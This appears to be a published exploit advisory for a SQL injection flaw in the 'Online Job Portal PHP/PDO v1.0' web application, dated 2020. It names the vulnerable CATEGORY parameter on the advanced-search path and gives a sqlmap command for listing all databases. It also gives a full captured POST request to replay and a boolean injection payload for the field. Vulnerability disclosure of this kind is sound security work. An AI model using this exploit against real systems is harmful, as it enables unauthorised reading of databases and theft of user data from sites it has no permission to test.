# Title: online job portal phppdo v1.0 - SQL injection
# Exploit Author: Mohamed Elobeid (0b3!d)
# Date: 2020-08-21
# Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-phppdo.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13850&title=Online+Job+Portal+in+PHP%2FPDO
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
# Description
This parameter "CATEGORY" is vulnerable to  SQL injection in this path "/jobportal/index.php?q=result&searchfor=advancesearch" that leads to retrieve all databases.


#POC
1-sqlmap -r request.txt -p CATEGORY --dbs

where the request.txt is an intercept of a search request captured below:

POST /jobportal/index.php?q=result&searchfor=advancesearch HTTP/1.1

Host: 192.168.52.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.1/jobportal/
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close
Cookie: PHPSESSID=bb4g25d3qceicepo7b3d26cfpp
Upgrade-Insecure-Requests: 1

SEARCH=&CATEGORY=Managerial&COMPANY=Quest


2- use a proxy to intercept a search request ad change the CATEGORY field by the following:
Managerial' OR NOT 5832=5832#&COMPANY=Quest


Regards,
Mohamed ELobeid
Security Engineer, Cyber Security Operations Center
Diyar United Company